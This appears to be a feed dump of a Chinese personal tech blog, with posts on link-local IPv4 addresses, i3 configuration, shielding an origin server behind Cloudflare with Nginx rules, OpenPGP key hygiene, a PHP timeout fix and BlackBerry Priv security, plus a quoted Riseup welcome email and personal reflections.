然后就看到身旁的妹子 (然而并不是我的) 和其他队的成员诧异看着我…
有了昨天被快速打脸的经历后,我决定探索一下这个 IP 的来历和昨天事件的本质。
首先很显然,169.254 这个 IP 是一个保留地址,如果你去 ip.cn 上面查询的话,会告诉这个是 “非 Internet 地址”,当然,这个不是我们想要的结果。
根据 RFC 3927,如果一个网络接口被配置了 DHCP 但是 DHCP 服务器并没有为其分配 IP 的话,这个接口就会自动给自己分配这个称为 link-local IPv4 address 的地址,或者用微软的叫法称为 Automatic Private Internet Protocol Addressing (APIPA).
高中自学 CCNA 的时候听说过令牌环网这么个东西,不过一直没有见到过实际应用场景,就没有去深究,现在想想 RFC 3927 定义的这个 link-local 地址不正是一个令牌环网的原型么?如果一个子网内的机器都找不到 DHCP 服务器,那干脆自成一派,全部给自己分配成一个网段(也就是 169.254 开头的 IP),在实际场景,比如学校的机房中,所有的计算机都是连接在一个 L2 交换机上,这样在一个被隔离的网段中的计算机通过计算发现对方 IP 与自身的子网掩码相同从而将自己的数据包交给交换机进行转发,达到内网互通的效果。
然后我就在考虑一个新的问题:既然机房的计算机全部是一键安装的,那初始化的 169 开头 IP 应该会是同一个而导致冲突才对啊?
仔细阅读了 RFC 之后才发现自己 naïve 了,原文如下:
When a host wishes to configure an IPv4 Link-Local address, it selects an address using a pseudo-random number generator with a uniform distribut on in the range from 169.254.1.0 to 169.254.254.255 inclusive. If the host has access to persistent information that is different for each host, such as its IEEE 802 MAC address, then the pseudo-random number generator SHOULD be seeded using a value derived from this information.
这样看来有两重保证,首先这个 / 16 的 B 类地址段可以保证有一个 65536 的池供选择,其次可以通过几乎全球唯一的标识符(比如 MAC 地址,UTC 时间)来生成自己 IP 地址的后两位做到冲突的避免,除此之外,为了保险起见,每个地址生成之后还需要有一个 check 的操作,RFC 原文如下:
A host probes to see if an address is already in use by broadcasting an ARP Request for the desired address. The client MUST fill in the ‘sender hardware address’ field of the ARP Request with the hardware address of the interface through which it is sending the packet. The ‘sender IP address’ field MUST be set to all zeroes, to avoid polluting ARP caches in other hosts on the same link in the case where the address turns out to be already in use by another host.
通过一个广播 IP 地址的 ARP 广播包来判断自己生成的 IP 是否被使用过,嗯,这个设计简直妙不可言~
这件事情说明了什么? 千万不要想当然地 “理解” 一个事物的本质,否则很容易自打脸
为什么正常工作的机房网络会突然全部获取不到 IP 地址?
可能是为了防止有人比赛的时候登录 Drcom 去网上查询吧, 但是他们都有手机啊!!还有自己之前写过的代码
是不是真的只有 Windows 才会有 169.254 这个 IP 呢?
其实并不是,这个是 RFC 规范,所有的系统都会按照这个规范来操作,对于 Linux 而言,如果在这样的网络环境中,这个情况会以 route 的形式表现出来:
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
... (bunch of things) ...
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
2018-03-28 更新:花 60¥入了块第三方电池,续航时间达到了 4 小时~
这种让我的老电脑飞奔起来的感觉,** 可能我以后不再会使用 GNOME 了:)**
下面记录一下我的折腾过程:
我的 i3 配置文件在
~/.config/i3/config中,下文所指的配置文件均为这个文件。
我参照了这篇文章上的安装过程,安装了 i3,i3lock 等一些基础的工具。 https://fedoramagazine.org/getting-started-i3-window-manager/
我按照自己的习惯自己的配置好的 config 文件在 我的 GitHub 上,可以直接下载使用或者按照我下面的内容按需自行配置。

我知道虽然作为平铺窗口管理器我们平时是不应该看到桌面的,但是有的时候还是希望能显示以下自己的桌面壁纸,在配置文件中加上:
exec --no-startup-id feh --bg-fill /path/to/<somebg>.jpg
其中 --bg-fill 是平铺,--bg-scale 是拉伸适应。
登录后发现没有中文输入法,想到应该是 ibus 的问题,尝试 ibus-setup 之后发现可以用了,配置了一个中文输入法之后就可以工作了,为了让它开机启动,我在配置文件中加上如下行:
exec --no-startup-id ibus-daemon
重启后输入法就可以开机启动了。
默认的 ssh-agent 无法读取到我本地的 ssh key 导致无法连接服务器,推代码等,目前没有想到一个很好的解决方法,替代方法是开机之后先导入一遍自己的 key,指令如下:
$ ssh-add ~/.ssh/<your_ssh_priv_key>
如果各位有更好的想法,欢迎把我打醒~
默认 i3 并没有一个好的音频管理工具,我使用的 pavucontrol 和两个快捷键联合使用,快捷键配置如下:
2017-12-06 更新:建议使用
alsamixer,pavucontrol 可能会在触发静音后无法再次打开声音。

bindsym $mod+comma exec amixer set Master -q 5%-
bindsym $mod+period exec amixer set Master -q 5%+
这样只需要按 $mod+',' 或 $mod+'.' 就可以快速加减音量了。
我有一个外置的显示器,当 i3 开启的时候会把第二个开始的所有 Session 开在笔记本电脑上,这样我的主显示器就只能看到 Session1 了:(
比如,我的 xrandr 数据如下:
➜ ~ xrandr
Screen 0: minimum 320 x 200, current 1920 x 1080, maximum 8192 x 8192
VGA-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 521mm x 293mm
1920x1080 60.00*+
1680x1050 59.95
1280x1024 75.02 60.02
1440x900 59.89
1280x960 60.00
1280x720 60.00
1024x768 75.03 70.07 60.00
832x624 74.55
800x600 72.19 75.00 60.32 56.25
640x480 75.00 72.81 66.67 59.94
720x400 70.08
LVDS connected (normal left inverted right x axis y axis)
1366x768 60.04 +
1280x720 59.97
1152x768 59.95
1024x768 59.95
800x600 59.96
848x480 59.94
720x480 59.94
640x480 59.94
HDMI-0 disconnected (normal left inverted right x axis y axis)
只需要把笔记本自带的显示器关闭即可:
xrandr --output LVDS --off
2018-03-28 更新:建议使用
lxrandr,这个 GUI 的设置工具可以减少背 xrandr 命令的麻烦。
还是调用 Gnome 的截图软件,配置文件中加上如下:
bindsym $mod+p exec gnome-screenshot
按 $mod+p 截图。
2018-03-28 更新:建议使用
nmcli,这个 CLI 的设置工具更加易用。
开关 Wi-Fi,在 root(sudo)下运行:
nmcli radio wifi on # 开 Wi-Fi
nmcli radio wifi off # 关 Wi-Fi
扫描附近的 Wi-Fi 热点(只需要执行一次,不会有输出):
nmcli device wifi rescan
列出附近的热点:
nmcli device wifi list
连接热点:
nmcli device wifi connect <热点名字> password <密码>
还有比较重要的未探索的就是锁屏界面,默认的 i3lock 太丑,而且不会让屏幕自然熄灭,如果忘了关闭显示器的话可能会导致屏幕损坏,目前我仅仅是在配置文件中加上了一行让它显示个背景图片不至于太丑,锁屏幕后手动关闭显示器。
bindsym $mod+l exec i3lock -i /path/to/<BackGround>.png
以上。

本文仅用来记录我是如何在 IP 层面上保护自己的源站地址的。
假设我有一个网站:example.me,托管于:95.215.45.2. 在接入 Cloudflare 之前的 dig 结果会是:
;; ANSWER SECTION:
example.Me. 1799 IN A 95.215.45.2
这个时候我的服务器 IP 是直接暴露着的,假设我的安全措施没有做好,可能一波小流量的 DDoS 我的网站就挂了:(
由于被 D 挂了一次,我决定把 example.me 迁到 Cloudflare 上提供保护,此时 dig 结果变成类似这样,显示的是 Cloudflare 的 IP,看上去很安全:
;; ANSWER SECTION:
example.Me. 600 IN A 104.24.111.123
example.Me. 600 IN A 104.24.110.123
此时作为攻击者有了之前的攻击经验可以直接猜测真实 IP 是 95.215.45.2,作为测试,只需要一条 cURL 语句,通过判断返回的是否是站点内容来判断是否继续攻击这个 IP:
curl -H "Host: example.me" example.me
可以猜到,我的服务器又会挂掉:(
** 所以,我们需要配置 Nginx 只接受来自反向代理 Cloudflare 为我们清洗过后的流量.**
首先在 https://www.cloudflare.com/ips/ 找到 Cloudflare 提供的 IP 段,然后在 /etc/nginx 下创建一个文件,比如 cf.conf
内容如下:
# https://www.cloudflare.com/ips
# IPv4
allow 103.21.244.0/22;
allow 103.22.200.0/22;
allow 103.31.4.0/22;
allow 104.16.0.0/12;
allow 108.162.192.0/18;
allow 131.0.72.0/22;
allow 141.101.64.0/18;
allow 162.158.0.0/15;
allow 172.64.0.0/13;
allow 173.245.48.0/20;
allow 188.114.96.0/20;
allow 190.93.240.0/20;
allow 197.234.240.0/22;
allow 198.41.128.0/17;
# IPv6
allow 2400:cb00::/32;
allow 2405:8100::/32;
allow 2405:b500::/32;
allow 2606:4700::/32;
allow 2803:f800::/32;
allow 2c0f:f248::/32;
allow 2a06:98c0::/29;
然后在需要保护的网站 Server Block 中加上:
include /etc/nginx/cf.conf;
deny all;
大功告成,现在试一下 cURL:
➜ curl -H "Host: example.me" 95.215.45.2
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
现在非 Cloudflare 的来源 IP 会显示 403,为了混淆起见,建议同时将直接 IP 访问的流量也给 403 掉。
server {
listen 80 default_server;
server_name _;
server_tokens off;
return 403;
}
[en] Welcome to riseup.net email. See below for important information.
[de] Herzlich Willkommen zur elektronischen Post riseup.net. Siehe unten, bitte, die wichtige Information.
[el] Καλώς ήρθατε στο riseup.net email. Δείτε παρακάτω για σημαντικές πληροφορίες.
[es] Bienvenido al correo electrónico riseup.net. Vea a continuación para obtener información importante.
[fr] Bienvenue dans le mail de riseup.net. Plus d’informations ci-dessous.
[it] Benvenuti a e-mail riseup.net. Vedi sotto per le informazioni importanti.
[pt] Bem-vindo ao e-mail riseup.net. Veja abaixo as informações importantes.
[ru] Добро пожаловать в сервис электронной почты riseup.net. Ниже находится важная информация.
[tr] Hoşgeldin riseup.net e-posta. Önemli bilgi için aşağıya bakın.
=== =========================== === english =========================== === ===========================
Welcome to your new riseup.net email account!
We know you are busy making trouble and changing the world…(注:说实在的,第一次读到这句话的时候把我逗乐了) but can save yourself and us a lot of trouble by reading this email.
Visit https://user.riseup.net from there, you can change your password, add email aliases, set up email filters, change your quota, and request help.
We automatically destroy the information you gave us as part of your account request. You should consider removing any identifying information from your account settings, such as your name, birthday, secret question, and alternate email. However, if you forget your password and this information is not set (or you’ve forgotten what you stored, or the alternate email is no longer accessible), then you will lose access to your account.
(1) Protect your password
The Internet is crawling with people trying to steal your email account. At some point, you will probably receive a fraudulent email from someone pretending to be riseup.net. These emails will claim that you must perform some action in order to keep your account.
. Never give your password to anyone, especially someone claiming to be riseup.net.
. Never trust that the “From” address of an email is from who it says, because this can be forged easily.
. Web links in email messages are often fraudulent. To be safe, you should retype the link rather than clicking on it. Also, be careful about misspellings, like riseupp.net instead of riseup.net
(2) Automatic deletion of messages in some folders
Messages in some folders are automatically deleted after a certain number of days:
. Trash: deleted after 21 days.
. Spam: deleted after 7 days.
. Sent: deleted after 120 days.
(3) Quota
For many reasons, we do not provide much storage space for email. If you need more space, consider downloading your email using a mail client or increasing your quota by visiting https://user.riseup.net. More information on this can be found at https://riseup.net/email.
(4) Use an email client
Although the riseup.net web-based interface does not have many features, you can use your riseup.net email account with a feature-rich desktop application designed specifically to handle your email.
Riseup recommends Thunderbird, a free and open source mail client:
http://www.mozillamessaging.com/en/thunderbird/
Thunderbird will automatically configure itself correctly if you just give it your riseup.net email address and password.
Your riseup.net email account is a wonderful thing. Although we don’t provide as much storage quota as surveillance-funded corporate email providers, riseup.net email has many unusual features:
(1) We encrypt traffic whenever possible.
When you send email from riseup.net to another secure email provider, the email is encrypted for its entire journey. (see https://riseup.net/starttls for more info)
(2) We don’t disclose your location to email recipients.
When you send email with riseup.net, your internet address (IP address) is not embedded in the email(注:国内的邮件服务商普遍比较脑残,喜欢把发件人的 IP,邮件软件等信息放到 Headers 中,示例内容见本文末尾.). With corporate email providers, anyone who receives your email can figure out your approximate physical location from the internet address included in the email.
(3) We don’t log your internet address.
Our commitment is to keep as little data on you as we can. Unlike corporate providers, we do not log internet addresses of anyone using riseup.net services, including email.
There is no such thing as free email. Services like gmail, hotmail, and yahoo make their money from surveillance: they build a profile on your behavior and your desires and then bombard you with advertising specifically targeted to you. (注:其实很多服务也是这样的道理。他们看似提供免费的服务,实则是以 “你” 作为代价的。记得看到过一个比较经典的评论:如果他们不是在向你出售他们的服务,就是在出售你.)
Riseup.net is different. This service is a labor of love by activists like you committed to building movement-run and secure alternative infrastructure.
The riseup.net email service takes a lot of time and money to keep running, and is funded entirely by small donations from its users. Please do your part and contribute today at https://riseup.net/donate
In solidarity, The Riseup Collective
A copy of this email is available at https://riseup.net/welcome-email and our terms of service at https://riseup.net/tos
国内大多脑残服务商的邮件 Headers 部分内容:
X-QQ-SSF: 000100000000001000000000000000Z
X-HAS-ATTACH: no
X-QQ-BUSINESS-ORIGIN: 2
X-Originating-IP: 183.**.**.39
X-QQ-STYLE:
X-QQ-mid: webmail344t1508944293t738217
From: "=?gb18030?B?*****" <******@qq.com>
To: "=?gb18030?B?bjB2YWQzdg==?=" <[email protected]>
]]>思绪来的太快,消失的也太快,我把我的一些人畜无害的想法记录下来并分享出来,让自己的思路能留下写痕迹,也希望对读者有些启发,或者全当作是读来消遣吧。
或许与高中时期的时间分配有关系,那会儿我并不像其他同学那样有可以一直玩的东西(比如手机)或者有恋爱可谈,平时除了完成学校要求的内容以外就是一个人看禁书(即计算机,心理学方面的书)的时间,生活中的琐事几乎全部” 外包 “给父母,自然有很多的时间用来” 进行长时间的线形思考 “,所以那段时间我也写了不少文章,基本可以很容易地针对一个问题从各个方面理解并成文。
记得当时看到网上有一些所谓的千字文计划,似乎讲的是一些博主通过强迫自己写千字文来提升自己的控制文字,提升思路的能力,高中时看着觉得新奇,认为这样本来就很容易嘛,哪里需要自己专门去练习呢?
而现在到了大学,才发现自己的写文章能力越来越弱,每每想写点东西都没法集中精神,刚刚动笔就因为思路被打断(无论是自发的还是别人造成的,且前者发生的几率更大)被 :q! 然后无情地 rm -f。
现在每天的课程虽然不像高中密度那么大,但是与高中相比,有大量琐事需要自行处理,能一个人安安静静想问题的时间被一再压缩,且经常会处于一个矛盾状态,难以平衡自己思路发展方向,如果写下来是否会暴露自己的某些隐私信息,是否会给自己带来法律上的问题,且由于这里基本是我的实名身份,我明白在现在的网络环境下稍有不慎就会给我带来麻烦,种种约束形如被捆绑着手足的舞蹈,完全施展不开自己的思路,很多小的思绪就会在萌芽来不及深入思考就被丢弃。
除了对文章的把握以外,我的耐心也在逐渐下降,和写文章的思路一样,有的时候打算尝试点新的技术,但是可能在开始时遇到了一些小的麻烦就直接放弃尝试,情况和我在向同学看一个项目的技术文档时类似,当对方看到满屏幕的英文时,多半是一句 “不看了”,直接放弃阅读的尝试。
每当我为他惋惜错过了多少精彩的内容的时候也在自己反思,像我这样越来越 “擅长” 知难而退的行为是否也给我带来了损失呢?
每放弃一个项目,学习, 可能感兴趣的人 时,我几乎都会自我欺骗说这样继续下去是沉没成本,因为我没有看到眼前的优势,或者说,我的眼光变短了,开始越来越喜欢追逐小的 Goods,变得功利主义,虽然知道这样不好,会极大限制我的发展,虽然目前我作出了诸多改善的尝试,但似乎没有理想中那么美好。
自己的一个朋友和我说在中国越是好的大学功利主义的学生就越多,虽然我感觉我周边的同学没有那么的功利主义(他们只是沉迷游戏影响我睡眠和心情罢了),但是我十分能认可他的观点,现在国内学校的培养思路的确是这样的。
学生可以在考试时为了更好的成绩而作弊,为了在简历上可以多留下一些 “证据” 而去参加一些自己并不感兴趣的竞赛,为了获得高 GPA 而和老师打好关系,或者放弃自己感兴趣的内容而全身心地参与学校设置的课程。与其说是功利主义,我更加愿意认为他们已经失去了自己的灵魂,无论是自愿的还是受到环境的影响导致的,这点仔细想想令我挺难受的 尤其是我喜欢的那位也是其中的一员,而我却无能为力 .
当然,这个讲多了必定会涉及到中国教育体制的问题,本文就不讨论这个了。
还是回到关于思考的讨论吧, 经过一些对 select 和 epoll 的探索后 ,我发现还是串行阻塞型的思维方式比较适合人类(或者至少是我的)大脑,同时开的进程一旦超过 3 个,来会切换就会耗费巨大的成本,且大脑处理时前台实质上只能处理一个进程(事物),有的时候在上课时突然想到一个新的点子就可能会对其 “头脑风暴” 一波,等到感觉应该听课时发现已经错过了许多,要重新 sync 上老师的节奏就会比较困难(尤其是物理这样的对我而言是零基础的课程).
再来聊聊关于控制,自控相关的想法,这一点我感受颇深。 依然是与高中相比,那个时候基本除了学习用品以外自己其他的服饰,穿戴,发型等都是父母和与学校双方约束的结果,且可能并不像一个传统的高中生,我并不会得到定期的来自父母的所谓零花钱。 最近看到一条评论,简单摘要如下:
然而西方特别是美国普通人没有人崇拜控制一切大公司和资本主义,因为他们从小就知道资本离开了控制就是恶魔
由于学习用品是自己的随时需要用的,且基本不受管控的,我在高中时对笔和墨水的研究较多,也对英语书法十分感兴趣,创立了 ECENPAC(目前也是创始人和负责人),所以现在对各个类型的笔(主要是 Lamy 那类欧系,德系)了解较多,也很明确自己的需求是什么。
相比校而言,就比如发型吧,到目前为止我都不确定什么发型是一个合适和发型,每次都是让理发师尽量保持 “均匀裁减”,每次剪完头发从镜子中看到自己的 “新发型” 都不知道该如何评论 或许这就是她不喜欢我的原因吧 2333. 类似的,由于小时候缺乏对金钱的使用经验,对于经济的管控我也比较难以拿捏规划粒度,更别提服装那块了,永远灰黑配色,看上去也像是个失败的程序员:P
当然,我最担心的还是现在缺乏外界的指导,所以可能在可以预见的几年中我仍然会是现在这个状态,这听上去并不妙。
本来写了好长一段自己对于建立一个通用的,可自订化生成的关于如何培养孩子的方法的想法的来着,想了想现在虽然写代码可以被很多小白称大神 / 大师的我却和女生保持一个长时间的符合传统对话方式的交流都有障碍,更别提找女朋友及以后的事情了,所以现在这段还是删了吧,免得丢人,哈哈。
你这个性格和审美还是等着父母安排相亲吧 ——某同学对我如是说

(注:此段有许多内容较为过时,我将选择性翻译) 在 2011 年美国 NIST放弃了 DSA-1024 加密算法。
现在推荐使用 sha512 生成的 4096 位的 RSA 密钥,并且使用双密钥签名的 密钥转移声明,并且让其他人知道你的密钥,有一份 不错的文档 写清楚了这么做的所有步骤。
转变会比较艰难,但是这样是值得的,且这也是一个最好的使用工具实践的方法。
很多人不希望他们的密钥过期,但是你真的这么认为么?密钥的过期时间可以在任意时刻(哪怕已经过期)修改。所以过期时间更像是一个自动的定时开关,如果你在没有及时重置开关则密钥可以自动失效,这样可以让其他人知道你一直对密钥有所有和管理能力。
当然,如果设置一个过期时间的话就意味着你以后在某个时间需要延长一次,这个是一个你需要记住的微小的工作。
你可能会认为这样很烦人并且不想处理它,但是这个是一个基础的让你保持对 OpenPGP 工具熟悉的方法,它表明了你的密钥仍然在被使用着。此外,有些人不会对一个没有过期日期的密钥签名。
假设你已经生成了一个没有过期时间的密钥,你可以通过以下指令来添加过期时间:
gpg --edit-key <密钥指纹>
现在选择一个你想设置过期时间的子密钥,并且输入 expire 指令:
gpg> key 1
gpg> expire
然后设置一个合理的过期时间并且退出(比如两年):
Key is valid for? (0) 2y
gpg> save
然后你需要把你的公钥推到密钥服务器上来宣布这次改动:
gpg --send-key <密钥指纹>
你肯定记不住密钥过期时间的,所以在过期前的一两个月设置一个提示告诉你该更新过期时间了。
如果你忘记了你的密码或者你的私钥已经被他人获取,你唯一的希望就是等到的密钥过期(当然,这样并不是一个好的解决方法),或者把你的吊销证书推到密钥服务器上,这样可以通知到其他人你的密钥已经被吊销不再使用了。
一个被吊销的密钥仍然可以用来验证证书或者解密信息(如果你还能解开私钥的话),但是已经不能被其他人用来加密消息发送给你,使用以下指令创建一个称为 revoke.asc 的销毁证书:
gpg --output revoke.asc --gen-revoke '<fingerprint>'
你可能会希望把这个文件打印出来并且隐藏起来。如果有人得到了这个,他们就可以吊销你的密钥,这样就会很不方便,但如果他们得到了你的私钥,那么吊销的密钥就十分必要了。
需要注意这个在 GnuPG 2.1 及以上会默认进行。
这个在 GnuPG 1.4.18 及以上是默认进行的。
默认 GnuPG 使用同一个子密钥来签名消息和给其他密钥签名。如果使用单独的子密钥来操作的话会十分有用,因为签名消息远远比签名其他的密钥重要。
在这个情况下你的主密钥仅仅用来认证,且很少被使用。
可以使用 edit-key 来编辑,使用 addkey 来生成子密钥。
这个保护你的主密钥的方法很有技巧性。如果你的主密钥被盗,攻击者就可以用它来创建的新的身份并且吊销你的证书,将主密钥完全放在线下可以很好的防止这类攻击。
确保你使用了单独的签名密钥,你没法使用已经被下线的主密钥给邮件签名。
# 导出你的主密钥
gpg -a --export-secret-key [email protected] > secret_key
# 导出所有子密钥
gpg -a --export-secret-subkeys [email protected] > secret_subkeys.gpg
# 删除 keyring 上的所有私钥,这样就只有子密钥的
$ gpg --delete-secret-keys [email protected]
Delete this key from the keyring? (y/N) y
This is a secret key! - really delete? (y/N) y
# 重新导入你的子密钥
$ gpg --import secret_subkeys.gpg
# 确认已经导入完成
$ gpg --list-secret-keys
# 在磁盘上把子密钥删除
$ rm secret_subkeys.gpg
然后你需要保护好 secret_key 内容,比如放在一个 U 盘中,或者使用智能卡(注:比如 Yubikey)来储存密钥,设备的安全性决定了你密钥的安全性。
请确保你有吊销证书。
你可以通过 --list-secrect-keys 参数,通过判断私钥部分显示的是 sec# 而不是 sec 来确认私钥部分已经被移除。
提示:在上述操作中私钥在你的磁盘上时使用明文储存的,所以一个单独的 rm 并不能彻底删除掉,考虑使用 wipe 工具,当然,如果你使用的是 SSD 的话,操作前请确保已经上了 FDE(全盘加密),否则没法彻底删除。
$dlcourseid 到后端之后。在完成对学生作业压缩后却发生了 404 的错误,并且服务器上报了一个 abrt 的错误,相关报错信息如下:
ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1505292199
登上服务器之后吓了一跳,以为 PHP 代码出现了严重的错误。
id 7922bd6e0048c9a0fae2d45ebcc3891c2fc6bd91
reason: php-fpm killed by SIGSEGV
time: Tue 12 Sep 2017 12:23:23 AM HKT
cmdline: 'php-fpm: pool www' ''''''''''''''''''''''''''''
package: php-fpm-7.1.9-1.el7.remi
uid: 994 (nginx)
count: 18
Directory: /var/spool/abrt/ccpp-2017-09-12-00:23:23-11357
The Autoreporting feature is disabled. Please consider enabling it by issuing
'abrt-auto-reporting enabled' as a user with root privileges
在查看 /var/log/nginx/error.log 的时候发现后端负责处理数据的 course.php 页面的 Notice 甚至无法显示完整就在中间断开了,且有如下错误:
2017/09/13 16:57:02 [error] 13357#0: *2261 open()"/var/www/platform/50x.html"failed (2: No such file or directory), client: 10.8.122.223, server: , request: "POST /python/course.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.74.133", referrer: "http://10.1.74.133/python/admin.php"
2017/09/13 16:57:43 [error] 13357#0: *2265 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 10.8.122.223, server: , request: "POST /python/course.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.74.133", referrer: "http://10.1.74.133/python/admin.php"
虽然第一时间想到了可能是 PHP 运行脚本超时,但是在后续的测试中发现我们课程下载的文件 URL 居然会击中学校内容缓存,就开始研究如何部署全局 SSL 了,这个问题一直拖了 3 天,搞的我心神不宁的…
出于不要重复发明轮子的工程思想,AreaLoad 的 Zip 函数模块来自 StackOverflow,但是在花了一个下午对函数进行审计后并没有发现任何可疑的设计问题,且由于在本地测试的数据量较小时尚未报错,所以一直没有想到可能的解决方法。
所幸,Python 实验课足够无聊我得以有时间用来在网上寻找 “最后方案”——Zip 压缩模块的替代品,在 https://gist.github.com/4185113/72db1670454bd707b9d761a9d5e83c54da2052ac 中发现了问题的真正解决方法,原来真的是 PHP 运行时间超时了。在加入了以下两行代码后,问题解决!
ini_set('max_execution_time', 600);
ini_set('memory_limit','1024M');
下一步就是考虑该如何在无法部署合法 SSL 证书的情况下该如何防止学校劫持我们的流量了~
]]>如果你不经常地刷新你手中的 PGP 公钥,你就没法及时地了解到十分需要关注的 PGP 公钥的过期或者撤销情况。关于密钥接受有两个步骤,许多用户会把自己的公钥上传到密钥服务器上,为了保证你能接受到这些同步,你需要先正确地配置密钥服务器。
很多 OpenPGP 客户端被配置了一个固定的密钥服务器,这样当服务器出现问题的时候你就有可能没法接受到重要的密钥同步,除了这种单点故障之外,这也会是一个泄漏 OpenPGP 用户之间关联信息的一个主要方式,从而成为一个被攻击的目标。
因此我们推荐使用 sks 密钥服务器池,这个池中的机器会被定期地检查运行状态,如果出现故障就会被移出这个池。
你也需要保证你是在使用 hkps 加密地与这个服务器池通讯,为了使用 hkps,你需要先安装 gnupg-curl
sudo apt-get install gnupg-curl
然后,要使用这个密钥池,你需要下载 sks-keyservers.net 的 CA 证书 并把它保存在你机器上的某处,然后你需要 验证这个 CA 的 PGP 指纹,现在你需要在 ~/.gnupg/gpg.conf 中添加两行。
keyserver hkps://hkps.pool.sks-keyservers.net
keyserver-options ca-cert-file=/path/to/CA/sks-keyservers.netCA.pem # 注意,这个证书地址就是之前下载的那个 CA 的位置
现在你与证书服务器之前的通讯就会通过 hkps,这个可以在有人嗅探你的流量的时候保护的你的社交关系。如果你使用的不是 hkps 而是 hkp 的话,当你在某个密钥服务器上 gpg --refresh-keys 的时候,嗅探你流量的人就可以看到你同步 key 的信息,有了这些信息就事情就会变得十分有趣了。
Note: hkps://keys.indymedia.org, hkps://keys.mayfirst.org and hkps://keys.riseup.net 都提供 hpks 密钥服务器(当然我们还是建议你使用一个密钥服务器池)
当创建一个密钥对的时候,我们可以指定某一台服务器来拉取他们的 Key,我们建议你使用以下配置信息来忽略对服务器指定:
keyserver-options no-honor-keyserver-url
这样做有如下好处:
需要注意的是攻击者也可以指定一个密钥服务器并且监控你是从哪儿同步了他们的密钥(注:类似 BT 种子钓鱼,可以钓出对方的 IP 地址)
现在已经配置好了一个不错的服务器池,你现在需要做的就是定期地同步你的密钥,对于 Debian 和 Ubuntu 用户来说最好的方式就是使用 parcimonie:
sudo apt-get install parcimonie
parcimonie 是一个走 Tor 的缓慢的密钥同步守护进程。它使用随机化休眠机制,并且所有同步密钥的流量都是通过 Tor. 这样会让攻击者难以通过你的手中公钥来关联到你。
你不应该使用 gpg --refresh-keys 或者邮件客户端上的刷新按钮来刷新密钥,因为这样的话密钥服务器管理员,监听者都可以知道你在刷新的密钥了。
所有人都可以把自己的密钥上传到密钥服务器上所有你不应该仅仅是下载下密钥就盲目地认为就是你需要的那个。你用该通过线下或者电话的方式向对方确认其密钥的指纹信息。当你确定了对方的指纹后,你就可以通过如下指令下载对方的公钥:
gpg --recv-key '<fingerprint>'
下一步就是确认你下载你的密钥就是你需要的那个,密钥服务器可能会给了一个其他密钥的给你。如果你的 GnuPG 版本小于 2.1,那你就需要手动确认你下载到的 Key,如果你的 GnuPG 版本大于 2.1 的话它会自动拒绝来自密钥服务器的不正确的密钥。
你可以用两种方式来确认密钥指纹:
gpg --fingerprint '<fingerprint>'
gpg --lsign-key '<fingerprint>'
如果你确定你拿到了那个人的正确的密钥,比较建议的是在本地给那个密钥签名,如果你希望公开的表明你和那个人的联系的话,你可以公开 --sign-key.
注意上面命令中密钥指纹只需要被单引号或者双引号包含。
短的 OpenPGP ID,比如 0×2861A790,只有 32 位长,他们已经 被证明 一个其他的 Key 可以有先同的 Key ID. 长的 OpenPGP ID,比如 0xA1E6148633874A3D 有 64 位长,也是可以 被碰撞 的,所以 也是一个严重的问题
如果你需要一个强密码学保证的验证方法,你应该使用全指纹,你永远不应该以来或短或长的 Key ID.
你至少应该在 GPG 配置文件中写上 keyid-format 0xlong 和 with-fingerprint 来保证所有密钥都是显示 64 位长的 ID 且显示指纹。
如果你在一个地方(比如网站上面)下载了一个密钥,你应该在导入前验证密钥指纹。
gpg --with-fingerprint <keyfile>
]]>
所以我打算从我收集到的一些信息来简要的概括一下黑莓(Priv)到底是个什么样的设计体系。
先简要评论一下图片中的信息:

黑莓依靠的是硬件信任链(hardware root of trust)设计,类似 SSL 的 Root Authority,不过这套链是黑莓的专有技术,简要来说就是分层次地对上层进行校验完整性。
首先从 CPU 开始,CPU 自带一个包含 BSIS 的签名开始启动,检测启动 ROM(Boot ROM)是否完整未被篡改,Boot 确认后通过高通签名的 gensecimage.py 对上层操作系统(也就是黑莓加固过的原生 Android 6.0.1)RSA2048 解密和 SHA256 检测文件校验和,之后已经通过校验的操作系统再通过 SHA512 和 ECC521 对上层文件系统进行完整性检测,最后文件系统会对每个 APP 进行 SHA256 检测,杜绝 APP 被劫持。同时,还有专门的硬件来检测你的系统是否被 root.
注意,这里和我们熟悉的 Luks 并不一样,如果要做一个类比的话应该类似计算机的 UEFI 过程,由于硬件 ROM 在出厂的时候已经写死,所以可以通过最底层的硬件校验递归判断顶上各层的完整性。

题外话:我的 Passport 被同学故意输错 10 次密码后在 Security Wipe 的时候突然卡住,重启就 bberror bb10-0021 了,好在最后通过 Blackberry Link 修好,顺便还更新了一下手机上一直没有推送更新的 BBOS 系统(而且还必须挂 VPN,不然下载不了).
关于是否可以 root,可以看 Can the Priv be rooted 部分网友回答及翻译摘录:
With Android M or L, the PRIV is vulnerable to be rooted.Witness the recent Quadrooter vulnerabilities and the scrambling to patch them. However, I surmise that a rooted OS may not load next time you reboot. You may also get warnings from DTEK of your OS being compromised.
(最近看到了最近高通处理器漏洞。Priv 使用了安卓的系统,所以也许可以被 root. 但是我推测 root 过后的系统在重启后就没法被加载了,而且你可能也会看到 DTEK 警告你的系统已被攻陷)
Other Android phones may be vulnerable but the PRIV is not just another Android phone. There are features in the hardware and firmware of PRIV that prevent rooting.
(其他的安卓机器可能会被 root,但是 Priv 不仅仅是一个普通的安卓机器,它有专门的硬件来防范被 root)
XDA had a bounty offered to anyone that could root one and the price got up to $900 and it looks everyone gave up.
(XDA 给了 $900 的悬赏给可以 root 这个设备的人,但是似乎没有人成功过.)
对上层用户表现来看与普通手机无异,依靠 Android 自带的权限管理机制来控制各个 APP 的权限,但是在底层每一个 APP 都会有自己的运行空间和依赖库,类似 Docker,保证了访问权限的隔离。

当别人发现你的手机很有意思想借去玩的时候,可以打开 Guest Mode,此时手机会运行在一个临时的 Session 中(只会显示系统自带应用),并在切换回你自己用户的时候会删除所有临时数据。不用担心你的个人隐私应用数据等被偷窥。
